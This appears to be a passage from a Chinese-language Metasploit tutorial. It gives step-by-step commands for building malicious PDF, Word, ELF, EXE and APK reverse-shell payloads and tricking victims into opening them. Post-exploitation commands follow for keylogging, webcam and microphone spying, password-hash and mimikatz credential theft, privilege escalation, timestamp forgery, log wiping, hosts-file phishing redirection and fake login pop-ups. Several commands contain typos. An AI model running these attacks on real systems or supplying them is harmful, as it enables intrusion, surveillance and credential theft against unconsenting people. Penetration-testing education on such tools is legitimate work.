msf> use exploit/windows/fileformat/adobe_cooltype_sing
msf exploit(adobe_cooltype_sing)> set payload windows/meterpreter/reverse_tcp
msf exploit(adobe_cooltype_sing)> set LHOST 192.1.1.1
msf exploit(adobe_cooltype_sing)> exploit
[*] Generated output file /root/.msf4/data/exploits/msf.pdf
msf exploit(adobe_cooltype_sing)> back // 返回msf命令
msf>

然后创建一个handler等待受害机连接就好(命令上面有,不重复了)

对方点了pdf就渗透连接了。

【!!!】这里有个要点,一旦meterpreter渗透成功,渗透服务器这边应该马上将这个meterpreter migrate到另外一个进程去,因为,一旦Adobe pdf reader进程被用户关闭,当前这个meterpreter shell就会被销毁了。

利用WORD文件进行渗透

和上面一样,不细说了

msf> use exploit/windows/fileformat/ms10_087_rtf_pfragments_bof

渗透Linux系统

这和用exe文件渗透 windows 系统一样,使用elf文件渗透linux系统即可。

// 使用msfvenom创建windows的EXE文件
root@kali:~# msfvenom -p windows/meterpreter/reverse_tcp LHOST=129.0.0.1 LPORT=801 -f exe -o /Users/xxxx/downloads/xxoo.exe

// 使用msfvenom创建linux的elf文件
root@kali:~# msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=129.0.0.1 LPORT=801 -f elf -o /var/xxxx/downloads/xxoo.elf

然后把这个elf文件复制到apache的public目录,想办法让目标机器访问这个文件并执行即可。

root@otherPC:~# wget http://192.1.1.1/xxoo.elf
root@otherPC:~# chmod 777 xxoo.elf
root@otherPC:~# ./xxoo.elf

这就触发了handler,它会主动连接我们的服务器,我们也就获得了目标程序的meterpreter权限

msf> use exploit/mutil/handler
msf exploit(handler)> set payload linux/x86/meterpreter/reverse_tcp
msf exploit(handler)> set LPORT 801
msf exploit(handler)> set LHOST 129.0.0.1
msf explosit(handler)> exploit // 执行攻击
Meterpreter>  // 此时我们已经取得了目标系统的Meterpreter权限。然后自由发挥了,例如
Meterpreter> sysinfo // 查看目标机系统信息

渗透Android系统

基本和上面一样,创建一个android的apk文件

// 使用msfvenom创建android的apk文件
root@kali:~# msfvenom -p android/meterpreter/reverse_tcp LHOST=129.0.0.1 LPORT=801 R> /var/xxxx/downloads/xxoo.apk

接下来一样,欺骗受害者去安装该软件,然后

msf> use exploit/mutil/handler
msf exploit(handler)> set payload android/meterpreter/reverse_tcp
msf exploit(handler)> set LPORT 801
msf exploit(handler)> set LHOST 129.0.0.1
msf explosit(handler)> exploit // 执行攻击
Meterpreter>  // 此时我们已经取得了目标系统的Meterpreter权限。然后自由发挥了,例如
Meterpreter> check_root // 查看目标机是否已经root
Meterpreter> send_sms -d 168xxx000xxx -t "hello" // 给指定号码发送短信
Meterpreter> wlan_geolocate // 获取该手机卫星定位位置
Meterpreter> webcam_snap // 使用被渗透手机进行拍照

基本后渗透命令

我们前面主要记录的是如何进行EXP渗透,渗透成功后的功能虽有说明,却不多,接下来从最基本的命令记录后渗透命令。

// 帮助命令
meterpreter> ?
// 转到后台命令(转到后台后,我们就可以执行其他的任务)
meterpreter> background
[*] Backgrounding session 1111...
// 记住上面的session,我们可以将其呼出到前台
meterpreter> sessions -i 1111
// 如果记不住session ID,可以如下获取当前的所有session列表
meterpreter> sessions -i
// 获取机器的ID和UUID
meterpreter> machine_id
meterpreter> uuid
// 获取通信通道(列出全部通信通道)
meterpreter> channel -l
// 使用指定通信通道
meterpreter> channel -r 1111
// 获取当前用户名和挂接的进程名
meterpreter> getuid
meterpreter> getpid
// 获取PID后,再通过PS去获取当前进程信息
meterpreter> ps
// 获取系统信息
meterpreter> sysinfo
// 获取网络信息
meterpreter> ipconfig 或 ifconfig
meterpreter> arp        // 查看受害机相连接的IP,可以查看局域网IP信息
meterpreter> netstat    // 查看当前用过的端口
// 查看当前工作目录
meterpreter> pwd
// 从本地向受害机传输文件
meterpreter> upload /local/1.txt C:\
// 修改查看受害机文件
meterpreter> edit c:\\1.txt
meterpreter> cat c:\\1.txt
// 枚举所有可用桌面以及桌面信息
meterpreter> enumdesktops
meterpreter> getdesktop
// 截屏
meterpreter> screenshot
meterpreter> webcam_snap
// 查看摄像头并录制视频
meterpreter> webcam_list
meterpreter> webcam_stream
// 监听麦克风
meterpreter> record_mic -d 1111 // 后面参数是录制的秒数
// 监听键盘
meterpreter> keyscan_start // 开始录制键盘信息
meterpreter> keyscan_dump // 输出刚才按下的键盘信息
// 计算用户闲置时间(用来推测用户不怎么使用计算机的时间)
meterpreter> idletime

高级后渗透命令

安全迁移

一般来说,meterpreter会话是从一个临时文件payload进去的。只要这个临时进程被关闭,meterpreter将会被踢出。所以我们最好将meterpreter迁移到更安全的进程上,例如svchost.exe, explorer.exe之类。

// 首先PS查看进程PID
meterpreter> ps
[*] 1866 explorer.exe x64 2 User c:\windows\explorer.exe
// 然后进行迁移
meterpreter> migrate 1866
meterpreter> getpid
// 就会发现当前meterpreter所在PID已经转移。

获取系统管理员权限

如果被渗透的应用程序是用管理员权限运行的,那么getsystem即可。

meterpreter> getsystem

获取了管理员权限后,可以简单的hashdump去获取被害机的登录用户密码hash值

meterpreter> run hashdump

获取密码hash值之后,我们可以对目标发起pass-the-hash攻击。

部分情况下,我们并没有最高权限,此时就需要进一步渗透提权。

// 该漏洞是针对 windows server 2008 sp1的
msf> use exploit/windows/local/ms10_015_kitrap0d
msf exploit(ms10_015_kitrap0d)> show options
msf exploit(ms10_015_kitrap0d)> set session 1111    // 使用刚才的meterpreter
msf exploit(ms10_015_kitrap0d)> exploit
meterpreter> getuid // 检查自己的账号

修改文件时间

为了隐藏自身,我们可能需要修改文件的创建时间,修改时间,访问时间。

meterpreter> timestomp -v 1.txt
meterpreter> timestomp -z "11/26/2019 15:12:54" 1.txt

清除系统记录

这个命令可以清除windows系统下的 Application, System, Security日志。

meterpreter> clearev 

查看目标机环境的事件日志

meterpreter> run event_manager -i

其他后渗透模块

获取受害机附近的无线SSID信息

meterpreter> run post/windows/wlan/wlan_bss_list

收集受害机记录的无线密码

meterpreter> run post/windows/wlan/wlan_profile

在收集的数据中, 标签中是网络名, 记录的则是登录密码

收集受害机上软件列表

meterpreter> run get_application_list

获取skype密码

meterpreter> run post/windows/gather/credentials/skype

获取USB使用记录

meterpreter> run post/windows/gether/usb_history

目标机上文件查找

meterpreter> search -f *.avi

使用 mimikatz 查找明文密码

// 加载minikatz插件
meterpreter> load mimikatz
// 使用下面的命令获取windows中活跃的账号和明文密码
meterpreter> kerberos

进行流量探嗅

// 探嗅当前的网络接口,得到网络接口设备列表
meterpreter> sniffer_interfaces
[*] 1 - VMWare Virtual Ethernet Adapter for WMNet8
[*] 2 - Realtek RTL8723BE Wireless LAN 802.11n PCI-E NIC
....
// 指定接口进行探嗅(探嗅端口为2号,探嗅数据缓冲为1000)
meterpreter> sniffer_start 2 1000
// 将探嗅的数据输出出来
meterpreter> sniffer_dump 2 test.pcap
// 最后将探嗅的数据用wireshark查看即可
meterpreter> wireshard test.pcap

修改目标机Host文件

msf> use post/windows/manager/inject_host
msf post(inject_host)> show options
msf post(inject_host)> show DOMAIN www.baidu.com
msf post(inject_host)> set IP 192.1.1.1
msf post(inject_host)> set SESSION 1
msf post(inject_host)> exploit

目标机再访问baidu.com即可进入我们的恶意服务器(可以是个钓鱼站)

弹出钓鱼面板

meterpreter> run post/windows/gether/phish_login_pass
// 此时在受害机会弹出一个类似windows登录界面的一个弹出框
// 等用户中计,输入“账号密码”后执行下命令将得到账户密码
meterpreter> run post/windows/gether/phish_windows_credentials
[*] userWinName hisPassword

其他便利渗透的技巧

图形化工具Armitage

Armitage是Metasploit的界面化工具,它用java创建,可以跨平台。

它本身支持一种叫 Cortana 的脚本语言,它记录脚本的每一个操作,可以保存为 .cna 后缀格式。

Cortana语言说明

重加载以便开发测试

我们在开发exp模块时,可能需要对payload等不停的修改。每次修改后,都需要metasploit重新更新,此时推荐命令为

// 修改文件
msf exploit(my_test)> edit
// 这样会启动VIM进行文件编辑
...
// 修改完成,通知reload
msf exploit(my_test)> reload

这样就不用重新启动metasploit了。

常用操作的脚本化

例如我们经常进行如下操作:

msf> use exploit/mutil/handler
msf exploit(handler)> set payload android/meterpreter/reverse_tcp
msf exploit(handler)> set LPORT 801
msf exploit(handler)> set LHOST 129.0.0.1
msf explosit(handler)> exploit // 执行攻击

那么我们可以在上述操作完之后,将其打包为脚本

msf explosit(handler)> makerc RCName

之后再使用时,直接调用即可

msf> resource RCName

这样就等同于之前了之前五步的全部操作。

对于后渗透测试部分,也有 AutoRunScript 这样的选项来一次性批量完成渗透和后渗透操作。

全局变量

metesploit中可以使用 setg 这种命令来对 RHOST LHOST LPORT 等参数做全局设置,就免去了逐个设置的麻烦。

使用社会工程学工具包

使用 社会工程学工具包(Social engineering tookit, SET)可以快速建立渗透攻击载荷。

SET教程